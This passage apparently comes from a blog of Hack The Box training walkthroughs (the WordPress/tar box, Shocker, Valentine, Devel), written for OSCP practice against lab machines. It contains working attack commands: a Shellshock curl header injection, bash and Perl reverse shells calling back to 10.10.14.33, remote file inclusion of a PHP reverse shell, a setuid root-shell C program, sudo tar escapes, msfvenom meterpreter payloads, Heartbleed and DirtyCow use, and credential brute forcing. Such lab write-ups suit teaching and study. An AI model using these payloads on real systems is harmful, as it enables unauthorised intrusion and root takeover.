The remote code execution looks interesting, however we need to be authenticated for that.

The XSS and CSRF aren’t that useful here, as we don’t have users on the box that we can exploit.

Looking at the install instructions there are a few default directories, going through those we get a forbidden for all of them, apart from sitemap.xml

 

Let’s go look at each of these and see what we get. The users one looks the most exciting, but i’ll start at the top!

Unfortunately all of those bring back a 404 not found error.

Back on the login page, there is a forgotten password option. Entering in a rubbish name and no captcha we get:

If we put in a more likely username such as admin

So we have username enumeration.

I’m going to guess we are going to use the username “admin”. I should do more username enumeration but I don’t know if it’s needed.

While I carry on looking at the github as the CMS is opensource, to find any weaknesses, I am going to throw the login page over to Intruder and see if we can brute force our way in!

Before doing that, to get a general error message I tried admin:admin.

Oh, that’s not an error message! We are in!

A quick look around, and there is 1 user called admin! I got very lucky on my guessing username enumeration. Sometimes the basics are the best!

Looking round there is a way to upload a plugin. We might come back to this later!

So we are now authenticated. We can use that exploit we found in our searchsploit earlier!

The exploit is basically the fact we can upload php pages via the Content – Files option.

We can use pentestmonkeys reverse shell php script.

Extract it using tar:

tar xvzf php-reverse-shell-1.0.tar.gz

Then we need to change the IP and Port for the connection back. Save the file and let’s see if we can upload it.

Start a netcat listener:

nc -nvlp 9002

We get a forbidden file type when trying to upload the reverse shell script. However, the exploit did mention we need PHP in capitals, so let’s try that!

Again not uploaded! The max file size is 2mb. Our file is 5.4K so well below that! Not sure.

Instead let’s go with the PoC in the exploit:

So we create a file with that php in it and name it “yekki.PHP”

Again, file not uploaded. No more details!

I have no idea why this isn’t uploaded. I’ve tried creating a new Directory, no dice.

I am really confused here. This should work!

The exploit is so straightforward that there isn’t anything I’ve done here to not make it work.

Let’s go back to our enumeration, have we missed anything?

Running another gobuster for directories rather than extensions within the /webservices/ directory we get a hit almost straight away:

There is a wordpress server on there! Let’s go take a look!

It’s urm, basic!

Let’s see if there is an admin page. wp-admin gives a big redirect to a page that isn’t found!

http://10.10.10.88/10.10.10.88/webservices/wp/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.88%2Fwebservices%2Fwp%2Fwp-admin%2F&reauth=1

If we see that it looks like it’s trying to get us to wp-login.php rather than wp-admin

Let’s get WP-Scan to see what we have on this bad boy! I’ve not used it before, so a quick look at the help and we get:

wpscan --url 10.10.10.88/webservices/wp/ -v

The scan has found a few directories:

  • xmlrpc.php
  • readme.html
  • wp-cron.php

We also know the version if 4.9.4 and there are 14 vulnerabilities available for this version.

The readme.html is the standard wordpress readme file, nothing exciting there.

xmlrpc.php brings back:

XML-RPC server accepts POST requests only.

And wp-cron.php doesn’t seem to do anything. Putting that through burp we see the request and an empty response.

So xmlrpc looks most interesting. A quick google finds an interesting article.

We start off making a POST request to get the methods.

We get loads of options. The one that sticks out for me, is “wp.getUsers”

Unfortunately when we send that we get “Insufficint arguments passed to this XM-RPC method”.

A quick google finds we need 4 parameters:

  • int blog_id
  • string username
  • string password
  • int user_id

Adding these in and we get “Incorrect username and password”. Now we don’t have a username or a password so far.

We can’t even get a username off any of the blogs, as they don’t exist!

The same trick of forgotten password doesn’t appear to work here!

The entire log-in page has an odd redirect to include the IP address again. This is really strange behavior and I don’t think we will ever be able to log in!

WPScan does have an enumerate user flag:

wpscan --url 10.10.10.88/webservices/wp/ --enumerate u

But nope. No users found!

Looking at searchsploit there is just so much! With wordpress being the most popular CMS there are bound to be!

However, it does look like there might be a metasploit module for “WordPress 5.0.0 – Crop-image Shell Upload (Metasploit)”

Let’s see if we can do anything with that.

A quick look at the metasploit module and we need credentials for this which we don’t have!

I think it’s time to try brute forcing some creds.

Going back to the wp.getUser POST requests to XMLrpc, we can send that to repeater and try to fuzz the username and password fields!

So changing the intuder attack type to be Clusterbomb. From the Burp guide it tells us that:

The cluster bomb attack type enumerates over multiple parameters by using all the possible combinations of payloads from the multiple wordlists.

So if you have multiple parameters, it will enumerate over one of the parameters with all the payloads from its respective wordlist, while the other parameters have the first payload from their respective wordlists loaded.

So it will go through both wordlists. Let’s get that running!

For this we will use the wfuzz names.txt wordlist for the users and wfuzz common_pass.txt for the passwords.

We add in our match on “Incorrect username or password.”

And run…

This is going to take some time!

Slightly odd results coming up!

I get this for every 5th request. Some sort of fail2ban type thing maybe?

I don’t feel I’ve got the most out of WPScan quite yet. Let’s take a look at what flags we have.

The -e flag is for enumerate. We tried users, but we can do more than that

  • p – plugins
  • t – themes
  • cb – config backups

I would have thought it did these as the basic scan, but let’s do it anyway

wpscan --url 10.10.10.88/webservices/wp/ -e p,t,cb -v

We got slightly more information than before. There are 3 potential themes:

These are all basic themes though. I’m pretty sure I use 2017!

Oddly it still said no plugins. But it only scanned for the most popular.

If we did a flag with ap it should do all plugins.

wpscan --url 10.10.10.88/webservices/wp/ -e ap -v

No plugins Found. So there are just the 14 vulnerabilities, none of which seem useful!


** Lookup Alert**

At this point, I felt I’d enumerated all I could, WPScan was giving nothing. Although there is wp-contents so maybe some additional stuff, I couldn’t find it at all.

So I looked at a guide.

0xdf always does good write ups, so I went to theirs.

And I quote:

wpscan is a good tool to enumerate WordPress sites. I’ll use --enumerate p,t,u option to enumerate plugins, themes, and users.

The command used was:

wpscan -u http://10.10.10.88/webservices/wp/ --enumerate p,t,u | tee wpscan.log

I’d say, that looks pretty familiar!

Copy and pasting that exact command. We get:

So that’s annoying!

I guess maybe it’s an updated WPScan as I’m using v3.6.0 whereas 0xdf had v2.9.3


So there is an extra flag we can try which is an aggressive method for plugin scans:

wpscan --url http://10.10.10.88/webservices/wp/ --enumerate ap --plugins-detection aggressive

I think this instead of looking at just the most popular, it looks at all plugins ever. It is looking at 82,373 plugins and will take ~30 mins to run!

30 minutes later…

Heading over to the readme, we see the changelog and though it is out of date, it isn’t v 2.3.10. It’s actually v1.5.3, this is sneaky!

Looking at searchsploit we have an exploit for remote file inclusion!

Looking at the file, we need to create a php reverse shell script called wp-load.php and access it via:

/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

So we will get pentestmonkeys php reverse shell script we got earlier and stick it on a webserver

python -m SimpleHTTPServer 9001

Start a nc listener and go to

/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.33:9001/wp-load.php

It failed, we got a 404 on our webserver, as it appended the wp-load.php itself.

After we removed that, we got a hit!

And we got a shell, as www-data.

The user on the box is called onuma and we don’t have permission to their home directory yet. So we need to priv esc before getting the user flag!

A quick look of my new favourite go to sudo -l

We can do a tar!

A quick google of tar privilege escalation brings us to GTFOBins which is generally really ace.

We go for the first option including the sudo we need:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

It works!

So that was a really difficult initial entry point! After that, easy googling the rest of the way!

Now, let’s go after a root flag!

First as always, let’s get LinEnum over and see what we have!

The box is Ubuntu 16.04.4 xenial.

The user onuma is part of the cdrom, drip & plugdev groups, so we will keep an eye on those.

We have a potentially interesting SUID file:

-rwSr--r-T 1 root root 150667 Mar 9 2018 /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377

That SUID seems odd, however that exploit was already used. Do we think it could be the same? Maybe…

Before we jump into that, let’s get pspy64s over to see if there is anything funky running.

The version of the box is 32, so our 64 just errored out straight away. I downloaded the 32 bit version from github

Moving that across with python webserver and wget.

Then run in.

Nothing seems to be running on a regular script. Although there is a funky cleanup script:

So if we go and look at that script.

So we can read and execute that file, even though it’s owned by root.

Let’s give it a read and see what it does.

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi

Basically, what it does is takes a back up of the basedirectory of /var/www/html.
It then tar’s it as the onuma user and puts it into /var/tmp.
Then it untars it as root.

I managed to snag a copy before it gets deleted 30 seconds later and put it into tmp.

With that I could untar the file and I had the contents of /var/www/html.

Ideally what I need is to make the script someone tar the /root/ directory, however we can’t change the script as we don’t have write permissions.

The only thing I can think of is a symbolic link.

Heading into /var/www/html we try to add a symbolic link for /root/

We get permission denied on those. Which is expected!

Now why are we getting permission denied, is it for the root file, or because we are in /var/www/html which is owned by www-data?

Well I’m not sure, so I drop back down to www-data and try again

We can create the symbolic link! That’s awesome! (At least I think that’s the right way round!)

So now, we need to wait for the script to run and nab that file from /var/tmp.

We got a copy!

So we untar is and bam. Our link is there!

It’s still doing a symbolic link, so we still need to be root to read the file! Even though the file is owned by us!
Bugger!

Re-looking over the script, it doesn’t at any point change the owner or chmod at all, so i don’t think a symbolic link will work.

Although without that, I have no idea!

Back to google it is and we find some interesting information by PacketStorm!

What they are saying is we can overwrite files that get untarred as root. So let’s go back to the script, does any untarring happen?

/bin/tar -zxvf $tmpfile -C $check

It does! So we just need to find a few things out!

What we need to do, is create a passwd file in the file that is tarred and untarred, which is /var/www/html and a symlink to /etc/passwd.

In our passwd file, we add in a new user with root priviledges.

So we add in our new user:

We save that as passwd and create a symlink to /etc/passwd.

This then errors as the file already exists.

Right. Let’s go through the steps once more!

We start off by making a symlink to /etc/passwd

Check.

Next we tar that symlink.

We now have a tar file

Next we untar it with -tf (t = list contents ;f = files)

So we then remove the symlink from the folder, so we just have it in the tar file.

Renaming passwd2 (our malicious one) to passwd. We then add that to the tar file

tar -rf yekki.tar passwd

(r = append)

We list the contents:

We now have 2 passwd files! Brilliant!

Now hopefully when the script runs, it will overwrite the /etc/passwd with our one from the tar file.

We have done the stuff in the /var/www/html directory so it should get done in the next run of the script!

It didn’t work.

That might be because it couldn’t access the file as I created it as www-data not as osuma. But I can’t write anything to /var/www/html as osuma as it’s owned by www-data. Bugger!

Let’s try again, but this time with the sudoers file. Let’s try and make the sudo file just open for anyone to do anything!

Running through all the steps again, it didn’t seem to take.

Am I overcomplicating this? Is there a way to just get the symlink to be the root flag, then steal the copy when it’s made?

Let’s try that!

ln -s /root/root.txt root.txt

So we have a symlink to the root.txt flag.

We tar it the same as before.

tar -cvf root.tar root.txt

Now in that tar, we just have that file.

So now in the 30 seconds when the script runs, we need to get a copy from /var/temp!

I have 2 netcats open, so I can have pspy32s running in one to see when the script runs. Jump to the other and copy the tar file!

We will see if this works. Who knows! (hint: I don’t think it will)

We got a copy!

When we extract it, we have the root.tar file!

If we extract that tar file!

And it’s still a symbolic link which we don’t have permission to view!


I’ve looked around at all tar exploits I can find. I’m missing something but just can’t get it!

Watching ippsec’s video, we learn!

I think the intregity check is screwing us over. The check it failing because the compare between /var/tmp/var/www/html and /var/www/html are different as we have added files in. Therefore it’s not getting to the extract stage of the script. So we aren’t getting anything new!

So at this point, I’m just following along with ippsec’s video.

First up he creates a “simple setuid” which we will compile:

#include <stdio.h>

#include<stdlib.h>

#include<unistd.h>

int main ( int argc, char *argv[] )

{

setreuid(0,0);

execve("/bin/sh", NULL, NULL);

}

We then compile that with

gcc -m32 -o uid setuid.c

We now have a setuid executable exploity thing.

Get that over to the box with python simple web server and wget.

Then we need to change the permissions to be a SUID:

chmod 6555 uid

Running it does indeed give us a sh shell as the current user owner.

So where we need to be is within /var/tmp as this is where the checks will be.

We want to make the /var/www/html folder structure that the check will be agaisnt

mkdir -p var/www/html

(-p creates all folders as listed above. It’s a neat trick I didn’t know)

We move our uid file into var/www/html (so the full path is /var/tmp/var/www/html/uid)

We then tar.gz that up

tar -zcvf yekki.tar.gz var/

So what we need to do, is then when there is the 30 seconds waiting time and random named file in /var/tmp get’s created. We need to add our tar file into that. As it has done the check part at this point, so won’t error out.

It will then extract the file as root into a folder called check and our binary will be extracted by root.

The only thing is, last time, we made the var/www/html files by the user onuma. So the uid file was owned by onuma. When all that went through, we still could only get to that user.

So we need to do all those steps on our kali box as root. So it has root permissions. Then transfer is over, then slide the tar.gz (that we made in our kali) into the temp random named tar file.

Complicated? Overly I’d say!

So on our kali box, we do

mkdir -p var/www/html

chmod 6555 uid

mv uid var/www/html

tar -zcvf yekki.tar.gz var/

Then we have a tar file, owned by root, with the uid being owned by root but executable by everyone.

We move this across to the box, and wait for the next run!

As soon as we see the first part of the run going, we do

cp yekki.tar.gz <random file name>

I’m sure there is a script you could right to look for new files and copy it once that happens. I’m not that smart sadly!

So we saw there was a nice file created. We quickly copy our tar into it.

There is then a folder called check, as the comparison found no differences (before we copied the file in)

I now have 5 minutes to do my stuff, before the file gets removed as cleanup at the start of the script.

There is then a uid that is owned by root but executable by all!

Execute that and….

There is a root shell and a root flag!


So this box! Needed help along the way. WPScan rotating it’s popular scripts is interesting and a trick I didn’t know before but will totally use in the future!

As for that root flag, I would never have got that without a walkthrough. I fully understand it now and that was a great learning opportunity, but wow. I hope the OSCP priv esc is easier than that!

Anyway, we are missing 1 step!

Root dance!

HTB- Shocker

Here we are, another box from the OSCP prep list by TJNull. 

This box is Shocker and we are going to start by running a quick nmap.

sudo nmap -Pn 10.10.10.56 -vv

We have 2 open ports:

  • 80 – HTTP
  • 2222 – Unknown

Let’s run a more involved nmap scan:

sudo nmap -sC -sV -O -oA nmap/fuller 10.10.10.56 -p 80,2222 -vv

We get some results:

So port 2222 is ssh. It’s OpenSSH 7.2. We also get some information disclosure with the keys, so we are probably looking for a ssh key to be able to get into this server.

A quick searchsploit shows there is a Username Enumeration exploit we can try later on:

OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py

Firstly, lets check the webserver.

It’s short, it’s sweet:

We will get a gobuster running here.

sudo gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Not many results there.

While it’s running, let’s do a full port scan!

No new ports found. Let’s also do a UDP scan

sudo nmap -sU -p- -oA nmap/UDP 10.10.10.56 -vv

Our gobuster has finished and we have nothing. We also don’t have much on these nmap scans.

I think there might be a clue in the picture. Maybe some stego. I see “Don’t bug me” as a command, so what we need to do is “bug” it.

First we need to install steghide if not already installed.

sudo apt-get install steghide

Then we want to extract the data

steghide extract -sf bug.jpg -p bug

Trying a few different passwords:

We get nowhere!

There is a steghide brute-forcer which we can try!

Annoyingly, we get python errors!

Traceback (most recent call last):
File "steg_brute.py", line 4, in <module>
from progressbar import ProgressBar, Percentage, Bar
ImportError: No module named progressbar

 

The progressbar module doesn’t exist!

Let’s install that using pip:

sudo pip install progressbar

That’s installed but still doesn’t work.

Right, let’s move on. Our gobuster finished and found nothing. Our UDP nmap has finished with no results.

Gobuster tends to not let me down, but there is so little to go on, let’s take a look at dirbuster.

We use the same wordlist and set it to search for extensions including, php, html, htm, bak, txt

I’ve also set a bonkers gobuster going to include loads of extensions and the wordlist.

gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x /usr/share/wordlists/dirb/extensions_common.txt -t 50

It’s ridiculous but I want to have something running while I look at the ssh potential exploit.

We copy across the python exploit

searchsploit -m 40136

After a few non-starters we get the help menu!

usage: 40136.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] 
[--samples SAMPLES] [--factor FACTOR] [--trials TRIALS]
host 

positional arguments: 
host Give SSH server address like ip:port or just by ip 

optional arguments: 
-h, --help show this help message and exit 
-u USER, --user USER Give a single user name -U USERLIST, --userlist USERLIST 
Give a file containing a list of users 
-e, --enumerated Only show enumerated users -s, --silent Like -e, but just the user names will be written to
stdout (no banner, no anything) 
--bytes BYTES Send so many BYTES to the SSH daemon as a password --samples SAMPLES Collect so many SAMPLES to calculate a timing baseline 
for authenticating non-existing users 
--factor FACTOR Used to compute the upper timing boundary for user 
enumeration 
--trials TRIALS try to authenticate user X for TRIALS times and 
compare the mean of auth timings against the timing 
boundary

So we need to give it the ip:port and a list of users

python 40136.py 10.10.10.56:2222 -U /usr/share/wordlists/dirb/others/names.txt

This is running through the list:

This is too many failed goes, we are gunna lose any greens. Instead we pipe it into a file where we can grep for [+] later on!

So we have our tools running, I guess it’s coffee time!

Due to piping the python script into a file, we can’t see what it’s going, so a good tool is:

tail -f userenumeration.txt

This tails the file in real time, so you see the live output but it’s still in a file for easy grepping later.

Right, dirbuster is the first to hit. It’s found:

/cgi-bin/user.sh

Let’s go have a look! It downloads a shell script. Looking at the file we have:

Just an uptime test script. Seems dubious!

Let’s capture the request in burp and see if we can do anything. It’s just a GET request for the file, not sure what I can do here!

A quick google of “exploiting a sh file on a webserver” brings back a thing called “shellshocked”. This ties in with a) what we have and b) the machine name!

Let’s do some more reading on shellshocked and we should be able to effectively get a limited shell via this user.sh file!

So the PoC shows using curl to get files, let’s try it:

curl 10.10.10.56/cgi-bin/user.sh -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

Did it work?

Of course it did!

I am genuinely shocked, that’s absolutly bonkers to work. So it adds in some HTML to do the request.

Well let’s be honest, we know where the user flag will be!

curl 10.10.10.56/cgi-bin/user.sh -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /home/shelly/user.txt "

Boom, user flag!

Now, our nmaps earlier showed information leakage regarding ssh keys, so I wonder if the keys are around anywhere. It would be good if we could do a ls.

ahaha!

curl 10.10.10.56/cgi-bin/user.sh -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/ls -al /home/shelly "

We can!

That’s cool, however there is no .ssh folder which I thought there might be due to the ssh keys we saw earlier.

So, let’s try and get a reverse shell. We can just use nc through our limited shell right?

curl 10.10.10.56/cgi-bin/user.sh -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/nc 10.10.14.33 9001 "

Unfortuantely it dies straight away.

Pentestmonkeys reverse shell cheat sheet has a bash reverse shell we can try which should be more persistent.

curl 10.10.10.56/cgi-bin/user.sh -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/bash -i >& /dev/tcp/10.10.14.33/9001 0>&1 "

Boom! Amazing! We are in!

(also proof that I got the user flag!)

Let’s move LinEnum across to the box. Hosting it on a python webserver:

python -m SimpleHTTPServer 9002

Then downloading it on the box

wget 10.10.14.33:9002/LinEnum.sh

Running that, we get all the results.

Looks like shelly is part of a lot of groups!

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We also check sudo -l to see if we have any sudo priviledges and we do:

shelly@Shocker:/tmp$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

So we can run perl as root!

Let’s create a perl reverse shell script! Luckily pentestmonkey has one!

In fact it’s just a command, so we can just use this off the bat.

sudo -u root /usr/bin/perl -e 'use Socket;$i="10.10.14.33";$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We start our listener and boom, connection!

Are we, root?

We are indeed and there is the flag!

You might be thinking, you got that priv esc very easily and quickly, did you cheat?

I did not. I did however do the box Bashed yesterday which also uses sudo -l as a privesc, so I now check for it every time!

All good. Winner!

Root celebration time!

Also I realised my username enumeration script was still running. It hadn’t found shelly yet!

HTB – Valentine

Here we go, next on the OSCP prep HTB retired boxes train!

Remember our motto: “Knowing stuff is cool, but learning just takes longer!”

It makes no sense, I don’t care. Anyway, Valentine!

Nmap: I choose you!

As always, start with an initial quick scan:

sudo nmap -Pn -oA nmap/initial 10.10.10.79 -vv

We get 3 ports back:

  • 22 – SSH
  • 80 – HTTP
  • 443 – HTTPS

Let’s get a more detailed scan running:

sudo nmap -sC -sV -O -oA nmap/full 10.10.10.79 -p 22,80,443 -vv

While that’s running, let’s go check out the 2 web servers.

Ok Port 80 has a cool picture

An image on it’s own always make me think stego. So let’s keep that in the back of our minds as we carry on.

The website on port 443 is, the exact same!

So let’s run some gobustering on these!

sudo gobuster dir -u http://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

sudo gobuster dir -u https://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k

The extra -k flag on the HTTPS is for skip certificate check.

Let’s leave those running as our nmap has finished it’s more detailed scan:

So there are a whole bunch of certs and RSA keys. This is a lot of information leakage that should really be sorted! They will all be public keys, so nothing of too much use other than the fact we are probably looking for a private key rather than a password to be able to ssh in.

We also see that the ssl certificate has the commonname of valentine.htb. Adding that to the hosts file and checking the site brings back the same thing. No virtual host routing for us here.

So, gobuster has done it’s thing and found some stuffs. It’s all the same for both http & https, which is slightly odd.

Let’s go look at some of these files.

Within the dev folder, we have a couple of files. There is a notes.txt file:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

These are good clues to the encode/decode if a directory enumeration didn’t work.

Also coffee, good idea!

Hype key is slightly more exciting, we get a load of hex:

I don’t personally read hex off the bat, so I might need to work this out!

Let’s carry on and see if decode is anything useful.

So over at /encode/ we have an input box:

Putting in hello in the box gives us:

Your input:
hello
Your encoded input:
aGVsbG8=

So our input it being converted to base64 (trust me, I checked).

If we use the decoder to decode that:

We get:

Your input:

aGVsbG8=

Your encoded input:

hello

So a simple straightforward base64 encoder and decoder.

I’m not going to lie I was expecting different.

Let’s go back and take that hex from the file, copy it into a local file. Let’s use the built in tool xxd to convert it to strings.

cat hex.txt | xxd -r -p > nohex.txt

We get an RSA private key!

Hopefully we can use this for ssh methods. Although we don’t know a username….

Let’s try it with root anyway, just in case.

First we need to change the permissions of the key

chmod 600 key

Then try to ssh in:

ssh -i key 10.10.10.79

Asked for a passphrase. Not what I was expecting but also not fully surprised there are more steps to this!

I think this is where the encoder/decoder comes in. The encoder is php, so can we get it to run a system command after our input?

Capturing the POST request in Burp we get:

Let’s ping this over to repeater and try some stuffs!

So PHP command injection is what we need here. There is a pretty good cheat sheet we can take some ideas from.

Running through these with whoami into the encoder, then going through the decoder to see if we get a different answer at any point is the plan.

I thought I might have had a breakthrough with:

text=hello & whoami

As only the hello came back. Whereas everything else saw the whole thing as text. However, it didn’t seem to do what I needed. Similar with having 2 &&s. I also though a null byte would be good (%00) however that didn’t work.

We need a new attack vector. SSH is the only other port we have.

Our nmap scan earlier found out the version: OpenSSH 5.9p1 Debian 5ubuntu1.10

A google of that, brings up a lot of walkthroughs to this box, so I think I’m on the right lines here!

Let’s avoid those and carry on. It looks like this version of ssh is vulnerable to the heartbleed vulnerability.

A bit more clever googling than normal to avoid the spoilers, gets us to some github pages with scripts to run the exploit, the one I used was here: https://gist.github.com/eelsivart/10174134

Downloading the script and running it, we need to give it the server, we then get a result!

You see at the bottom, that’s some base64. What the that going to say?

Decoding it on my local box, we get “heartbleedbelievethehype”

Let’s just check the decoder gives the same answer.

It does. That’s good!

Ok, maybe that’s the password we need? or part of that is the username?

So it looks to take the password for the key. Then asks for our password, so I think this is the ssh key password. We just need to find the right user.

We have no other clues for that as of yet. It’s worth trying the same thing, so:

ssh -i key heartbleedbelievethehype@10.10.10.79

It’s clanky and long. Unlikely, but *shrug*

It didn’t work. As expected, the password is right though, as I copied the wrong thing first and got re-prompted for the password.

Let’s try single words, starting at the end.

That got me in. That’s very odd! I didn’t really expect that to work, but I couldn’t find anything else.

I would have thought a whoami command on the encoder/decoder would have been better. This was pure guess & lack of other things to try.

Anyway, we are in!

Annnd, there is the user flag! Excellent!

Let’s get LinEnum over as a first step!

Start up a python HTTP Server on my local box:

python -m SimpleHTTPServer 9001

Then on the box, let’s download it.

wget http://10.10.14.33:9001/LinEnum.sh

Give it permission to execute and

./LinEnum.sh

Watch it do!

This script always gives good info.

To start with:

[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"

We know that 12.04 is vulnerable to dirtycow/dirtycow2 but we are going to try and avoid that route!

Group membership and SUID files can be interesting.

The hyper user is part of:

uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

A SUID file has:

-rwsr-xr-- 1 root dip 325744 Feb 4 2011 /usr/sbin/pppd

This could be something we can execute due to being part of the dip group.

Also to investigate:

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 62400 Jul 28 2011 /usr/bin/mtr

The other super interesting part, is there is some bash_history in the hype directory.
It’s not much but it might be enough to give us a clue:

[-] Location and contents (if accessible) of .bash_history file(s):
/home/hype/.bash_history

exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 
exit

I think as a starter, we will do look in .devs.

That is not something I would have quickly found without that bash history!

dev_sess is a socket. I’ve not come across one of those before.

From the linux guide:

socket - create an endpoint for communication

The manpage has a whole heap of information. However, the program “socket” which is used to create the connections isn’t installed. So maybe this is an absolute rabbit hole?

There is an exploit called dirtysock which is similar to the socket route. There is a check to see if the system is vulnerable:

snap version

However, snap is not found as a command. Bugger!

The other interesting thing in the bash_history is the fact it was done with tmux. Is there a tmux issue we can exploit?

A quick look brings up a few resources.

Firstly, we need to see if root is running tmux at all.

ps aux -u root | grep tmux

Bingo.

Looks like ID 1013 is what we need.

I just realised, that guide is exactly for this box, without mentioning this box. That’s annoying!

Anyway, looking at the tmux guide, we need -S which is the “socket-path” So we are going to connect to the socket using tmux.

tmux -S /.devs/dev_sess

Bingo!

So I was close from the off, using that bash history to see the socket issue. I should have also clocked tmux but I know now this is a really useful flag for the future!

Therefore, root dance!

 

So post root. I looked at some guides and most people seemed to use dirtycow. So shall we have a go at that too!

We did this as part of Lampino the vulnhub box, so let’s check that out!

Getting the exploit code from exploit-db.

Copy that into a file on the target machine. We then need to compile it:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Unfortunately g++ isn’t installed on the box. So let’s compile it on our local machine.

So on my local machine I have a dcow executable, let’s get this across using our python simpleHTTPServer.

Running that on the box and we get an error:

hype@Valentine:/tmp$ ./dcow 
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.21' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.22' not found (required by ./dcow)

Strange.

Let’s try a different method of dirtycow. We can get source code from github.

We compile this one with:

gcc -pthread dirty.c -o dirty -lcrypt

We now have a dirty executable.

Running the exploit, we get prompted for a new password, we use hello as always.

Then the script seems to hang…

Looking at some reviews, this appears to be normal. The advice is “run it a few times”. This is crazy messy, but there there you go!

I got bored of waiting for the exploit but could su anyway, so it obviously worked.

That was dirty, we got root in 2 different methods. The actual planned way was simpler and more straight forward, but always good to have a backup and be able to exploit lack of patching!

Anyway, see further up for my root dance!

 

 

HTB – Devel

Ok, carrying on with TJNull’s OSCP prep list. This time we are going to have a go at Devel.

As always, let’s start off with a quick nmap scan:

sudo nmap -Pn -oA nmap/initial 10.10.10.5 -vv

2 ports open:

  • 21 – FTP
  • 80 – HTTP

Let’s get a more involved nmap scan going:

sudo nmap -sC -sV -O -oA nmap/full 10.10.10.5 -vv

While that’s running, let’s check out the webpage.

The webpage is an IIS7 splash page!

Let’s get a gobuster running on this and see if there is anything fun hiding here.

The second nmap has some exciting finds:

Looks like FTP is exposed. I wonder if any of those pages are there.
Let’s check out sm.png

It is there, so looks like we can upload stuff to the FTP and access it directly.

As it’s windows, we can’t  use our normal PHP reverse shell script. Let’s take a look at creating a aspx page with msvenom.

Before we do that, let’s just confirm we can connect and upload files to the FTP.

Login looks good. Let’s try to put something up there.

 

Looks like we can’t put files on the remote server. That seemed odd, so I tried again after changing directory to where my upload file is:

I can put a file there. Let’s go see in the web-browser if that’s there.

It does. So we now just need to create a reverse shell script.

A quick google gives me a msfvenom cheat sheet and the command is:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=1234 -f asp > shell.asp

Running that, it does it’s thing, and we have a shell.asp file!

Let’s get that uploaded and a netcat listener on port 1234.

As there was already a shell.aspx on the server. I’ve renamed mine to yekki.asp.

